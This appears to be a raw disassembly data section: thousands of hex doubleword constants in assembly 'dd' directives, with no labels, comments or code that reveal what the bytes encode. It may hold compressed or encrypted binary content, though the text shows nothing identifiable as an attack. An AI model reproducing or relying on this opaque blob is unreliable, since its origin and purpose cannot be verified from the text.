		dd 0E8C1C200h, 0B88A4610h, 235D0067h, 4C3A6D03h, 0FC0074FFh
		dd 834E548Bh, 0D17308h,	0ADCA7DACh, 0C107EF66h,	910CEB00h
		dd 9D7401FBh, 5002070Bh, 0C7033D16h, 2F2CF020h,	0E3001481h
		dd 79820FFFh, 0E604011Fh, 7E1D79D4h, 390EEEB2h,	8DBD462Dh
		dd 0B8E20200h, 61DC9ED9h, 128B4B0Ah, 6000E203h,	40C0850Ch
		dd 1539071h, 0EAC2EB83h, 20C7A2D8h, 26000CF0h, 53073275h
		dd 29F016h, 4A4D6E04h, 413BB4C7h, 0C403A901h, 66470646h
		dd 107AD8h, 1B57ED6Ah, 7ED618B7h, 0FA511A00h, 850D41B0h
		dd 0A49900DBh, 62F759A2h, 802501ECh, 0F0F475h, 5653C543h
		dd 6500028Ah, 19B5AC7Fh, 0E6E8B850h, 755B0367h,	2A25A66Fh
		dd 0D28B57E0h, 83659839h, 31342BC7h, 99E9D842h,	4939012Ah
		dd 37DC3606h, 188EDC53h, 5A247500h, 0C1124AD3h,	140200E2h
		dd 3F7C0F63h, 835F3C7Bh, 30AE0h, 0D91CA35Ch, 0A1DE1304h
		dd 0EB5F2300h, 21515A16h, 8177A4h, 8307894Bh, 3704B14Ch
		dd 0AF32E900h, 4A2D06E7h, 710E892h, 0D9141C0Ah,	0FEEBF0C1h
		dd 8500BA24h, 0A4506544h, 735B483Dh, 100400C2h,	61022F11h
		dd 0B81F0875h, 0C402201h, 32BF54Bh, 1C9300C3h, 0B715588Dh
		dd 0AC005051h, 7656DCD3h, 3942DEBBh, 0A3804825h, 2708ED21h
		dd 9400DB30h, 641A8B4Ah, 38D83D3Ch, 0C40283D0h,	306A5F10h
		dd 0E1468961h, 0C9C2301Dh, 2C47F600h, 513C978Ah, 74985Bh
		dd 43A57729h, 14959FEFh, 4CC2CE01h, 0F4391833h,	0AB10D4h
		dd 0AC4A4051h, 779F196Eh, 53D51E00h, 56D28D89h,	0E49B00F2h
		dd 68C598F0h, 0C73BC84Dh, 50D480DAh, 5C9CB6BEh,	31EEE4h
		dd 13B5A1Fh, 3733888Ah,	0EF60DA00h, 0BB86BC39h,	0E2EE006Fh
		dd 1072C6DCh, 0AE0096FEh, 24CF0A7Dh, 0ADB14Fh, 4C2A4481h
		dd 0CDD53940h, 0C8012301h, 79B62C09h, 0BFF1E4h,	17607C0Eh
		dd 0AB51E0FEh, 8D0061EAh, 1690FBD6h, 2FD240h, 28A1B4D4h
		dd 587CC109h, 0B8191100h, 98107174h, 0C72A0059h, 0BEBB8531h
		dd 80009F8Bh, 233935E8h, 37BD87h, 92DF5D63h, 4E4F0372h
		dd 6D009579h, 57B9D5E4h, 38DEA83h, 82B7CD0Fh, 7C00DBCh
		dd 0B103FD41h, 87A3972Ah, 8ACFE029h, 48240078h,	0B7EA61E9h
		dd 0D5EE7649h, 0F768441Dh, 0A1145080h, 0F2C4BC60h, 0C8E0027h
		dd 0A0656631h, 0BF00174Bh, 3FD6872Ah, 6EEDF1h, 0DC8ED3BCh
		dd 0AD30EC57h, 0D548E5FAh, 56CB05FDh, 0C3BB4CF1h, 800A1DBh
		dd 0A575C410h, 8CDBEh, 31E18193h, 42CED970h, 0DE19DD1Fh
		dd 71959987h, 3F8F1CA0h, 4698003Dh, 0DB31A266h,	50030A8Eh
		dd 5DA8D0F7h, 59C6D05Ch, 24D51EC2h, 0B842CF0Ch,	0BD49E9C0h
		dd 8100262Dh, 62CDBB78h, 0A2023h, 0B0FCEC59h, 5C33F086h
		dd 0D79BE600h, 0ABE21B42h, 411C0060h, 5D740602h, 0F00ECC61h
		dd 7F834AC6h, 2FA2EC0Eh, 31472075h, 0D55E0Fh, 0B39E8D01h
		dd 0C78E62D4h, 5A1DCD00h, 0F5B2F9A4h, 0A22F6092h, 1C684ADEh
		dd 512E1E0Eh, 451A4069h, 0F430F8Ch, 0B82A844Eh,	0FA7B6C20h
		dd 0B400A860h, 768BC7DFh
		dd 7DB91A0h, 179A270Ah,	487F006Bh, 0EA038997h, 633644D0h
		dd 1504E083h, 18CECDFh,	35586176h, 0C46F24BFh, 0E63B5599h
		dd 0EC2B0019h, 17685464h, 0A16A00D0h, 0BB2624A3h, 0F47C76F0h
		dd 1DAFDB04h, 8280E69Bh, 88662Ah, 650824C9h, 0E978890Fh
		dd 737938h, 50D74341h, 6EC21Dh,	69EC54E7h, 1367D3B3h, 3E74EA1Eh
		dd 7B9D3700h, 0CEB45Ch,	62574738h, 33B5B6E9h, 61B30800h
		dd 31033CF3h, 2BC33A65h, 27BAAE00h, 116A8B22h, 0D925B300h
		dd 3CA1E837h, 0E4481E5Dh, 0D29CF6h, 41E2D45Fh, 641C0467h
		dd 0B4FD6F4h, 7FDCC037h, 1B6C36Eh, 12E357A1h, 0CA01AA54h
		dd 53458EC0h, 4072200h,	0EC5FD244h, 0D3C80020h,	0A96D7C14h
		dd 2A01D9BCh, 0B851CF3Ch, 5AC56C31h, 0ED01E0h, 7BCBB39Dh
		dd 69C5ACA6h, 4A6F2500h, 2565E2Ah, 88F81410h, 1A00E4DAh
		dd 76A73E27h, 1301EB1Bh, 0C0CE492Ch, 92FCD780h,	15850056h
		dd 19D152BFh, 0B50053D4h, 0E396C067h, 320482h, 0AA0E3C76h
		dd 0D449596Ch, 771D7C72h, 4E8F095Ah, 7EC0FD70h,	9207A7B1h
		dd 3FDC3E27h, 0AFE2DD03h, 70F0B084h, 0AD001881h, 0CF147C9Fh
		dd 0A8C26Dh, 6878AC54h,	0F73128F3h, 0B033C500h,	9B35B6B1h
		dd 0FC2DE6A8h, 641500C6h, 0D104CA8Ah, 0D034BE0h, 81242C8Bh
		dd 4FA0BCEDh, 35557BC3h, 870860ECh, 0C7D7034h, 8000B2FCh
		dd 8846068Ah, 1E024707h, 9E0575D2h, 0CA129D16h,	500BEF73h
		dd 0C057334Ah, 830F090Dh, 0B83F62D6h, 0AFC0130Fh, 674E00Bh
		dd 0F87C2B57h, 0BD5F0731h, 0A061A0EBh, 72C13E4Eh, 0F7E883EAh
		dd 5AB928E1h, 0E0C92120h, 2BF78B56h, 0A4F3F501h, 0FF58E95Eh
		dd 0C1480282h, 0B2A208E0h, 31B5E88Bh, 7D183D9Ch, 0C81A7336h
		dd 143F050Eh, 2140410Eh, 31811F0h, 777FF883h, 2C1A903h
		dd 2CF6155Dh, 0C90033A3h, 7401E8C0h, 6AD18312h,	0E21CB602h
		dd 5D07FEE7h, 552609B9h, 82618687h, 797008C2h, 7A8817E1h
		dd 39FE7C5Dh, 38C76AC1h, 560FDC5Eh, 7574A369h, 1541F361h
		dd 0D636F16h, 65CE468Eh, 508F0C35h, 9EFF6F8Eh, 450FB863h
		dd 7AF16978h, 53E373F8h, 8CC67545h, 4D6343A6h, 0FC676129h
		dd 41F00EFFh, 7060770Fh, 746E6972h, 4C146663h, 4544F04Fh
		dd 6206E52h, 98707B9Eh,	50657AE5h, 6F643E70h, 375FB875h
		dd 2079C642h, 1F53BEFFh, 63DE7325h, 2DD35C65h, 0B5BE8CDEh
		dd 874D3862h, 1EB7E261h, 6BFBEE38h, 0F7C779CBh,	2E63C66Dh
		dd 0B6B20CCh, 0DA727E62h, 51A76875h, 2C64D66Fh,	1E2BA2A3h
		dd 245E4375h, 38C4C190h, 0E509D232h, 0B3181529h, 33FD4702h
		dd 0FEF741F1h, 239AF5D5h, 7E8F43FFh, 0A663B5D2h, 4163467Dh
		dd 0DF6F4C27h, 9F5394AEh, 67B3B4E7h, 4EA4A9B4h,	0EA00DF96h
		dd 10060h, 3C3D0000h, 0B5A90000h, 5F12CAEBh, 0D762F51Dh
		dd 9651EC04h, 7722E072h, 0D9E1B46Ch, 0CBFAA179h, 1D9E9E3Bh
		dd 9F2DA713h, 289059D3h, 0DCE7A82Ah, 400B0E37h,	58D6D025h
		dd 9EE42552h, 0C16F4417h, 6D88149h, 0E2EF16BDh,	0C6C4893Dh
		dd 0CA5D04D0h, 0DD80289h, 0A35A4838h, 4A13A361h, 123C6457h
		dd 18780174h, 0BACFEEDFh, 65DB9925h, 0DF524A64h, 7286895Dh
		dd 0A69D7792h, 17723C62h, 417044B1h, 0D89E4176h, 0AC0EC133h
		dd 95E76EB1h, 5D768448h, 0AD26DC46h, 9844810Dh,	90D05768h
		dd 62C1E012h, 4023F8F0h, 6DD123D2h, 0FF3882C8h,	49C0734Ah
		dd 21093024h, 10EF04F0h, 4643EE2h, 0FFA93971h, 0FFA4A7B3h
		dd 0CAB2BABh, 0A93D38EFh, 3A753151h, 19C9D879h,	0C1B3D6E7h
		dd 6AE8E4Dh, 1516244Bh,	5ABA6296h, 31DAE443h, 36DB0349h
		dd 2B76012Fh, 0FFA44708h, 36DE74D5h, 6DCCADCCh,	7C3236F0h
		dd 9AE2BE28h, 993ABED4h, 0B19C3B9Ah, 0B4CDF8DEh, 0CD86ED97h
		dd 0B9F230C6h, 0B14C08C0h, 0FA7D6E85h, 8E47FBF7h, 16F7B69Ah
		dd 780B5Bh, 0CD2237CFh,	0EDFD0609h, 40E8A63Bh, 575CEDA5h
		dd 0BEAF7BD0h, 37981EB1h, 9FFD58E5h, 6795F2A3h,	2735B27h
		dd 1D17B312h, 0C112923h, 0B63D1228h, 5FFAEDBBh,	984AACA5h
		dd 8E3FE88Eh, 635AE965h, 0F297741Ah, 0D00DA28Fh, 41324251h
		dd 0F709E9A9h, 0DFA05D17h, 960353BFh, 0BB469DB7h, 5B90D395h
		dd 6DFD1CC0h, 902D77A5h, 17CF23CCh, 0F47E76A7h,	2789A0BBh
		dd 9DA21C4Dh, 0DA596648h, 57B5A73Dh, 18529CCEh,	9DF7D1A5h
		dd 3D552C9Dh, 925BB34h,	0E9C57880h, 9E5B82D9h, 97F23C8Ah
		dd 0F55BAF40h, 0EB1AF6Bh, 623DC914h, 0E8E4B63Bh, 5DF914D2h
		dd 0E78E13CEh, 3679E65Eh, 0FC6BC9E3h, 85046E43h, 0FA9339F7h
		dd 0D46477A6h, 8786A097h, 0BFED34E7h, 0DA430EFBh, 8398FBA0h
		dd 0A74D7DD0h, 77053883h, 0D5E62929h, 0E72F0844h, 6E37DFEh
		dd 0BA65D27Eh, 0DFF0FCC9h, 3B9BE011h, 2E3CE005h, 0A2F99085h
		dd 26FEBC11h, 424A3D24h, 564A5CE4h, 71577A3Eh, 0D0233AEEh
		dd 0FC783015h, 11E8DE40h, 0A8F9022Bh, 5E90E3h, 0BF96CBE5h
		dd 0B57ED97Bh, 8A0A428Ch, 3966CD3h, 0D4B456F4h,	0BC8F17Ah
		dd 577CF163h, 0E9F28243h, 0DC712954h, 0FE9922Ah, 6BE228DEh
		dd 0B0AD1670h, 90E300A0h, 67AD367Dh, 482E845Fh,	0ABF7DDACh
		dd 35762D6Ah, 5EAAC642h, 9ABB0B3Eh, 87ACEC4Ch, 8FA04B62h
		dd 1FCA1D50h, 0A0D88753h, 0F54FF0C1h, 0A678BDA5h, 21D0E929h
		dd 0EB20EADh, 48CB9A06h, 6BA6AA4Ah, 8F182CB1h, 9B428F14h
		dd 8DACF1F5h, 0D69A6950h, 67051EF8h, 8F80F007h,	4CB8A4BCh
		dd 0EED87B11h, 709E2C01h, 78F23FE1h, 9CB411A2h,	891F43C1h
		dd 26AC4712h, 0F195CA84h, 0D8BAA674h, 32652B27h, 78DA7F8h
		dd 6A0CDA3Bh, 9D38C998h, 69952B44h, 9B4DCFD4h, 0C3FC57A3h
		dd 0FA23CAC7h, 0F46BE5C2h, 9A4C3F19h, 0C3A37DCh, 0DE3B499Fh
		dd 893AD65h, 0FA1DE3C7h, 3F7D233Eh, 2D045663h, 65C1C6Dh
		dd 0C0A9C62Fh, 4FA6BB52h, 0FCFD55EFh, 52B7837h,	0EEE5B129h
		dd 0FD0F0439h, 0BBF21958h, 0D662764Bh, 0B336BE9Ah, 71F38BACh
		dd 5B4C0158h, 7814E190h, 0B3215EEh, 38668820h, 8047F9B2h
		dd 0B1662343h, 0BEC4B86Bh, 65B39130h, 0CBDA4349h, 0EF906996h
		dd 9F00A7BDh, 0FB1DA996h, 2F979C5Eh, 1D235EB7h,	228FF92Ch
		dd 67FD9FB3h, 89A472Ah,	0B689A437h, 0CCA578B9h,	4681A529h
		dd 63D9EF1Dh, 0A87EB27Fh, 7A272CABh, 3051AA26h,	4FA3F9B3h
		dd 0A274D5D5h, 6C0E3814h, 0A671F99Eh, 55E6C742h, 0F34E5AE8h
		dd 66F0A316h, 0A10F3B89h, 58EBD607h, 8A29460Ah,	8E4E40BDh
		dd 660C2117h, 0D678A1F4h, 1FC28E1Ch, 22FB9345h,	9201D3D5h
		dd 0EDD4F246h, 44D2D1A8h, 1FF432FAh, 0FB5411B6h, 1780809Bh
		dd 7389930Eh, 474FA5BEh, 0BD2A4AFFh, 63B0CA07h,	0BD5763EDh
		dd 9C81B210h, 2654C313h, 0D4783A73h, 5BFED7AAh,	0B4999B8Dh
		dd 87D0E8BBh, 320909FCh, 0CF677E6Dh, 298AC087h,	3E091DE4h
		dd 0C2B4769h, 664EBDBh,	0BC34BBDDh, 278909C0h, 5DC013D8h
		dd 0AA9911E3h, 528DD1AFh, 0FCE06F4Fh, 4CB8F766h, 8452B2E6h
		dd 93A39454h, 412B8F07h, 1F4169ECh, 0DC04F992h,	33B40606h
		dd 2D7C0FCAh, 9B5DD38Eh, 8C2577A4h, 528188CCh, 0E6D0C6F9h
		dd 9533F5C7h, 0DDD7C120h, 0D6EBA96h, 0BF8F1612h, 7897EB30h
		dd 42ED326Ah, 0AD522043h, 5D5D6B84h, 7360721Ch,	949277E1h
		dd 2B2B9129h, 0D71D0454h, 0EA427A73h, 0F4363F42h, 11E006D8h
		dd 690E2C0Ch, 9A8030C1h, 0A652D34Bh, 36EC9F5Bh,	473CF7C3h
		dd 0DC66100Bh
		dd 3DCD91CDh, 0AFE3A632h, 2755FADEh, 0ED51F013h, 27A417A6h
		dd 97167B6Eh, 0A9FB4E52h, 72941AF7h, 26BFFC8Bh,	0B51E8931h
		dd 0B7172602h, 0DE2DB3F0h, 14011747h, 0B38C0A1Ah, 92D2CEE3h
		dd 2D6FE579h, 5D3BB19Bh, 0F8409C4Fh, 0DFFCF288h, 8D213CF3h
		dd 99BA7BDCh, 0F474152Bh, 0B003B6B2h, 3D12627Bh, 39ED4022h
		dd 4F6E2AAEh, 501A3082h, 0C3609F23h, 88D0572h, 1A691891h
		dd 25442C6Ch, 2EEC6D91h, 0AB743DABh, 783DC13Ch,	65145E2Eh
		dd 9429B7BFh, 7D934B53h, 0FB77291Ch, 9A5E483Fh,	0D11564A9h
		dd 0FBEE7D34h, 0E6B68596h, 37E9E329h, 581388BCh, 0AA085F30h
		dd 54769258h, 42F8D23Eh, 0FE219CF6h, 18B373F7h,	219FC672h
		dd 0DD5A3030h, 57B08AE4h, 0A636DCD3h, 56151A48h, 275320C5h
		dd 9F53067Fh, 2AE769F2h, 3DFB38BDh, 5368BD7Bh, 8B786D59h
		dd 0A305F0CFh, 2A1152E8h, 7FB71F3Bh, 0C6A71FC1h, 5AAF2DC2h
		dd 1101FC82h, 659349D1h, 0B69F0E44h, 0E82B6D46h, 0AFBE68C1h
		dd 0F5D352D6h, 6A7D96C6h, 0B7809913h, 0AFB966F3h, 0F8A15267h
		dd 0B48C89Fh, 1D7DE547h, 2EB97424h, 0F2C0EFFCh,	13886F85h
		dd 74128F90h, 41B8425Bh, 0E9F9D8B6h, 158744F3h,	0BE81C3D8h
		dd 0C2D0FC56h, 0BD053118h, 0B3C8B3A0h, 8B2BE5DEh, 0ED9714DBh
		dd 27A72B36h, 0DEADEF01h, 247D3957h, 7C60CCC9h,	85B0E9EEh
		dd 3C29D102h, 0FBD907B7h, 0D8322AB9h, 2EFC5BDAh, 6EFD7C18h
		dd 8162496Eh, 4BA48B96h, 0EDF99520h, 45BD1643h,	0E7C9DC45h
		dd 2DDD117Ch, 0DB448E7Bh, 70FDA0E7h, 5A5CF566h,	4A8487A0h
		dd 0C75B7544h, 24B28B43h, 97C542Dh, 9704C38Dh, 11D0D474h
		dd 0C82FDC8Bh, 74DAF7F9h, 0BD065833h, 89577E7Ah, 0ECA56FB6h
		dd 0CA601A68h, 0AE4451DFh, 6CEC56B8h, 9C75B76Ch, 757E13A4h
		dd 45AB16A3h, 88901BCEh, 0A11CB877h, 7A5F5A11h,	1BC3A7A2h
		dd 0A965C5Ch, 837A0CD8h, 1249F2D0h, 23F81622h, 948319FFh
		dd 766C64C7h, 6F6CF30Ch, 5F909A57h, 0AEF16F71h,	83B03BF9h
		dd 0B4FF3963h, 0D350D9B6h, 0A38EDEC1h, 306BD267h, 2A7864F8h
		dd 35F3CA1h, 792C4E2Fh,	622C9D16h, 0A5AEE3Ah, 8138B82Bh
		dd 861CB619h, 2E6B6210h, 0F906AEDEh, 51A680Bh, 7D1BC886h
		dd 9B4E51D0h, 1733F51Ch, 6E2E8B95h, 154FC4BDh, 1FCB6561h
		dd 793A6F41h, 6A8FA2F7h, 82C67E1Fh, 6B2E27CDh, 7F2DE78Ah
		dd 0F157F936h, 0A82B7BB4h, 0D2A67EA5h, 0F7F1A5D6h, 724A7A7Fh
		dd 7BCEEE12h, 0C091892Dh, 409C0875h, 3FCE4D16h,	5807C1C3h
		dd 0BFAF4C4Ah, 0E5A9FB4h, 80EDECA7h, 0A8D6E362h, 5A1BB644h
		dd 970ED57h, 45419317h,	0F7E94604h, 9B7BC918h, 0BB9A0C72h
		dd 0BB37AA0Ch, 1D45561h, 0D38E5814h, 0BB41221Ch, 108E907Bh
		dd 1DB974A6h, 2CFB34CCh, 0E6D09E90h, 7A17E006h,	25CD7E8Ah
		dd 0E6AECB3Ah, 0B7F0C086h, 0CF2CB1h, 9D4D9F0Eh,	0CE22F450h
		dd 0B08C11D8h, 0ED938E85h, 0EDD45210h, 52AB6864h, 48EE49EAh
		dd 7B069A05h, 0E5EA4EE6h, 8435DCF9h, 422C1BAFh,	303E17E6h
		dd 0CE1B3076h, 0C43A9831h, 94FC7814h, 449FBCh, 0A223A6C4h
		dd 0CE97FE32h, 0E5DF2409h, 1A413E0h, 0D71849Dh,	6222C08Fh
		dd 0EE65FEB1h, 29F30A9h, 78E514D2h, 0E37B7937h,	0D371EF2Ch
		dd 3B104A7Fh, 2F16B59Ch, 0D06E4CF2h, 24C33513h,	6717F6B4h
		dd 0CF7E6D2Dh, 45678E3Bh, 0CDE192B3h, 0F0AB5EA6h, 0C4711C1Fh
		dd 5B04285Ah, 0B3DFB096h, 0E1F1788Bh, 0CC55C68Ah, 1DE7378Dh
		dd 886EBDAFh, 0C5AA55FFh, 5E3DD855h, 0D2524992h, 0F9B91B32h
		dd 2402C644h, 6F3B6928h, 5BB80D7Ch, 9813E5F5h, 6BC0BE70h
		dd 827557ABh, 4883FBC8h, 2A79884h, 4370C786h, 0FCFA16Ah
		dd 1CABBA14h, 0A3431253h, 0E413386Eh, 725B0A5Ah, 66BFFE9Fh
		dd 0DE57566Ah, 2FF23534h, 68622EEEh, 1362BC6h, 8F374788h
		dd 0BDDF83B2h, 0FC3E58DEh, 5F0258FFh, 5AA691E2h, 0D3ECEA77h
		dd 0FCF00A9Ah, 42493299h, 22143864h, 6D70EF2Bh,	1BEBA9BCh
		dd 9B49FBBCh, 9647BD68h, 0E14AA7BBh, 93EF060h, 0B61DF313h
		dd 1653C551h, 2F655659h, 4A80E33Fh, 2483EA81h, 3B79F3ABh
		dd 0DAFC4E44h, 6CCB5F08h, 84EF626h, 0D41B08BBh,	775C5ECCh
		dd 481C8C98h, 20FBA72Ch, 0A8223B09h, 0D72F5A09h, 6B4A825Fh
		dd 2B4EC648h, 1B89BDCEh, 0A02AE2B2h, 0F4481664h, 97F29CC0h
		dd 0AAD1B42Bh, 4F452221h, 0A0C0B7F0h, 91F30554h, 8A760A0Bh
		dd 0B3048313h, 0E47AC45Ah, 0CB09DC35h, 9C397925h, 7427167Ch
		dd 495532A3h, 32A3C55Ch, 0BF85A585h, 0ADA9D61Ch, 0AFD8F527h
		dd 0D0322E1Bh, 0AC9081BCh, 0F0FC88F0h, 8733950Ah, 62B3FE19h
		dd 5A139CBBh, 0DD065E6Ah, 0D8A136A8h, 5DA4AFD6h, 99B4F749h
		dd 43CB6937h, 0F7F31C88h, 0A12279D0h, 5FC6C500h, 0E9FD7B1h
		dd 0F5DE964Fh, 93FD6890h, 0D493C023h, 0EF848A2h, 38428F80h
		dd 0AF34D360h, 0D683D27Bh, 21F6527Bh, 0D4A0D269h, 9C34708h
		dd 0A10C0E4h, 55DBAE32h, 0AEA6D46Ch, 925D3BEFh,	4F135A76h
		dd 0AB99DE21h, 0C2456820h, 0D09D4D23h, 6CA3C6A2h, 0B0EFFC19h
		dd 65D7C270h, 0D7A60A0h, 29491ABAh, 59BFA6F7h, 742765A4h
		dd 171C49EEh, 0E22DD2F9h, 0BFC32F97h, 1819D150h, 1AD68157h
		dd 75C8545Eh, 2AD3FE8Fh, 676CCFA3h, 0C409EA77h,	15D820DCh
		dd 15EA6B64h, 0C2C0481h, 0EF4062F5h, 2C9F23B7h,	461F45D1h
		dd 2A90DFE6h, 7D067715h, 0F725C4FFh, 34EF408h, 8B8AFE24h
		dd 839B09BCh, 0C7D64A97h, 8A771270h, 0CB8E3572h, 2BF3D60Bh
		dd 0BAA7E911h, 0C187D0F6h, 4BDC137h, 0A27809A3h, 20581A21h
		dd 0F511AA21h, 744B9B06h, 46F8DA6Ch, 0FAC858Eh,	0F29CDDA5h
		dd 0A97CCAF5h, 6619BD41h, 1AF6094Bh, 0BA2298F3h, 0E7629B2Bh
		dd 7529277Eh, 83DB5806h, 1F9CD802h, 0E6CE45DEh,	0EA632242h
		dd 2829FD7Ch, 66064D57h, 0F00047E4h, 0CA430C5Ah, 73B7129Ah
		dd 8F1F12C2h, 3D02B5EBh, 901094EBh, 0B3D31BBDh,	5C3B5D80h
		dd 41FDBF25h, 4C371726h, 787D4EEBh, 0BE60CCF0h,	40E31FB3h
		dd 0F5F6392h, 22F0C4F8h, 31F34FA7h, 68E5867Fh, 64594A69h
		dd 0AEEC2379h, 5A3E004Dh, 1AB10961h, 0F5CDCDFDh, 0B14F8D9Bh
		dd 1358CB0Ch, 7625C0h, 0A6F69CBCh, 0DBA6E1B9h, 8C2E2645h
		dd 7694B18Fh, 0DF96A58Dh, 0F22E0CABh, 0A0D1DFBCh, 0CB7036C3h
		dd 97D3BDD8h, 47F57AD9h, 6A46744Dh, 360E0D05h, 0C4720D3Dh
		dd 6AE2D32Ah, 507974C7h, 268BBDE6h, 0E1F90E58h,	18551A43h
		dd 0C8546FC8h, 3E6FFB66h, 0A0222FABh, 6CEBB8D2h, 0D3297D5Ah
		dd 9E46B54Bh, 0C51751FDh, 40E991DCh, 0C063E7AFh, 0E7EE0E28h
		dd 2536E64Ch, 7F0C3EB1h, 0D9DDFAFEh, 35ABD7AFh,	7FDB7852h
		dd 118C725Bh, 6AAF1394h, 5FA021ECh, 0B2777628h,	7ED47C8Dh
		dd 24DC6440h, 6C9C1215h, 0A8D4B94Bh, 98F44F17h,	5C39AA71h
		dd 8E5981DDh, 8D02F7C4h, 3C18510Dh, 0A83799C8h,	6338D6A1h
		dd 750F88A3h, 0EF075597h, 9AFFE994h, 300F4AE1h,	0FABB9D36h
		dd 74B2DA81h, 0BAEA7712h, 64523F5Fh, 46852449h,	86DF2587h
		dd 4D052788h, 0C4C1B0E5h, 0FA980A53h, 0D382CCB3h, 0DBAAD099h
		dd 0E9A2B805h, 0ABAE119h, 0D9FA1C6Ah, 3E91AAC4h, 0BB75BA75h
		dd 0E7FFEF12h, 0FD06EEEh, 19EB6A57h, 361ABD8Dh,	45ECBADCh
		dd 0E66A5629h, 0F6365DD0h, 1C1D4BF1h, 225788h, 0B98A8E3Eh
		dd 6EEE82F0h, 37483C7Eh, 0FFEC7BA6h, 134EB720h,	0BCDFAC3Fh
		dd 8F751934h, 3C4A3422h
		dd 307D72AAh, 475E7258h, 4787958Ch, 1452B9B0h, 0B67B005Eh
		dd 0A2449EEDh, 3467FDACh, 756C00EDh, 522E6228h,	40E0300Dh
		dd 0C1B5D5D9h, 0AD1C4860h, 0BF8F379h, 0A184E6DDh, 7488E127h
		dd 0F66B5098h, 0CE3477B2h, 28CC2269h, 0D9828C89h, 6AF7863Dh
		dd 8566799Eh, 680AA1F6h, 7B630CC3h, 0D5B0C159h,	7A9B787Eh
		dd 0C15B4FD9h, 0B0315036h, 0EF60B377h, 68E133D8h, 345B1D28h
		dd 0EEBDE5Dh, 0CD612FB8h, 2CBEABA2h, 37EE72CCh,	5ED79BC5h
		dd 0B1C1BB48h, 206C0090h, 3AB5D052h, 242C4E17h,	0E0D8D85Bh
		dd 5202A4A1h, 0B5C6785Bh, 27A18974h, 9EF45D8Ah,	0EA113649h
		dd 0FB3D867Dh, 0FD21E3E0h, 7689E620h, 0F2587B02h, 8FE9201Eh
		dd 0D84A19F4h, 0A7DDA3F6h, 6353D6D3h, 2FFB2EF4h, 2932B175h
		dd 1F363491h, 391D6922h, 0D581248h, 4CD4F778h, 635DB410h
		dd 0B3EE9303h, 80DFAF6Eh, 8C24DF22h, 2A778D89h,	37ECD40Dh
		dd 501915DFh, 1E166B21h, 62810097h, 510521C7h, 42CFCB3Eh
		dd 0E404DB47h, 1FC8346Ah, 469EBDA9h, 94A2A61Bh,	3E99C85Ah
		dd 40E91056h, 0F3F282F8h, 3C3BC7ECh, 0C0F67A94h, 0AA14E7A2h
		dd 688EA3FEh, 70E49038h, 1497C44Bh, 4B9AE916h, 2AC212FEh
		dd 2F0E19D0h, 0FB2B990Ch, 5FAE6652h, 0EEA02FFAh, 0CDFAB18Ah
		dd 0B23F6E51h, 7BAB79D8h, 8DE115DAh, 6E330742h,	0A2BA4C21h
		dd 0D4D5F847h, 1DE29F0Dh, 353572B6h, 40799B32h,	2508D8DCh
		dd 0F92BC7CAh, 0F67720D8h, 3ABBC7A5h, 4BF6985Fh, 1DE2C1D4h
		dd 22257405h, 0B548C587h, 0A1C4BC55h, 0CA30A775h, 2CD203Ah
		dd 0F52D7525h, 18A9DCB9h, 31C597C6h, 0CDF243Eh,	7E05D27Fh
		dd 93F2A829h, 0F1EDB471h, 0CDC275B1h, 44B1D08Bh, 3C3A78E7h
		dd 88037447h, 0BCA74F77h, 96290B51h, 41815B0Dh,	0E451FEF9h
		dd 1ADFA054h, 5264C0EFh, 9D1BF267h, 0FD1B321Dh,	82A36266h
		dd 32F061F8h, 0E0F7513Dh, 0A95726A6h, 3949F71Dh, 980AED12h
		dd 0C36A6A07h, 504B0DCEh, 0DCE8FDBAh, 0F3E27347h, 627038A8h
		dd 0DD3D22DBh, 7A8EA959h, 2017FBCFh, 0C495AB02h, 23102B33h
		dd 0B1297A98h, 3D0DFB3Ah, 17111F18h, 0D5C9A229h, 0E41E09B1h
		dd 596F5235h, 614B8427h, 601B3EF6h, 8EC2FCCh, 0F7DB5E16h
		dd 0EB777C27h, 0A23DE053h, 77748B7Eh, 3DCEA8F4h, 0D7485823h
		dd 0E464CA73h, 0A4AD6DD5h, 0DA419DA0h, 20CE4928h, 5A8A2642h
		dd 0EA852B97h, 6B2BED86h, 0BC6C5188h, 2F132001h, 0D4338800h
		dd 90756E56h, 0BF604F7Eh, 1D307A98h, 583B518Ch,	0BF7A0C44h
		dd 0EFCB19B3h, 0FFA08A89h, 0AE9CD313h, 8C150A32h, 69ED3F8Dh
		dd 118A722Ch, 8EA4CF73h, 2FCDC8E8h, 5B8C87DAh, 246A8DAFh
		dd 0E7C80618h, 4CEB06DAh, 0FE783689h, 0CC36FF77h, 80000DC3h
		dd 9D7C2F46h, 76B8CBBh,	738F51A9h, 6314C63Ch, 65B4B7FCh
		dd 59169FC2h, 0A3401351h, 166E0CE2h, 98BF3BD6h,	0D411E034h
		dd 0CA8CFDAh, 0B973EB07h, 0A2824384h, 9727E839h, 0EA60018Bh
		dd 0D39B6F27h, 5268F15Fh, 2615A42Fh, 778AA2BBh,	8F509F9Ah
		dd 936A1237h, 39068356h, 268015F2h, 370C21E4h, 0DC327B1h
		dd 400BB3B9h, 41124025h, 20F9790Fh, 58E7CF6Ch, 0C1B1DD45h
		dd 0E3ED8E7Eh, 0F32670C0h, 6CD2D199h, 0F4F08FA0h, 2D15A17Bh
		dd 8AEC1E2Eh, 6CAEEC34h, 45E8720Fh, 73A389D3h, 0DB42F1C9h
		dd 2FE50679h, 345924B2h, 430B80D1h, 3DCB42DFh, 4E7DBB72h
		dd 22610E0Ah, 0DFB941D8h, 0D379A41h, 59ED4DDBh,	770DE841h
		dd 0E26F1D9Ah, 275D2727h, 23D6FECEh, 4D2C4036h,	17811778h
		dd 40E8CE09h, 7AFEC9F6h, 11D90A29h, 812A9991h, 7675EA96h
		dd 0C4B6F7E0h, 0DDA8F3E5h, 9EE16954h, 0BEC6B2DCh, 4DB87ECAh
		dd 44C2C33Dh, 0EC16A272h, 3A948275h, 0FB1FEAA2h, 39739420h
		dd 16B63568h, 89BDBCC0h, 21EC0E60h, 0BD29FC67h,	8B0A8ED6h
		dd 0FFBFDD2Fh, 2922ECF0h, 0D706786Ch, 0C7C1D3Bh, 48DE232Eh
		dd 7BBA6784h, 480B54A7h, 0A09ECCB1h, 5912D0C2h,	86DC47EDh
		dd 0FCE0C780h, 228BE624h, 75CAFB52h, 0CD5F210Bh, 0BE61A21Bh
		dd 4FA483BBh, 0E9322497h, 7112080Bh, 2850BF75h,	0D30054ACh
		dd 38D1E51h, 0C13868Bh,	985649B7h, 13929198h, 68DFDD84h
		dd 0C4234C78h, 8666E33h, 135C81FAh, 37681E84h, 87C70A74h
		dd 0E97E41A3h, 7CA27E9Bh, 702C7EAh, 3E3D4360h, 0A77DFDA2h
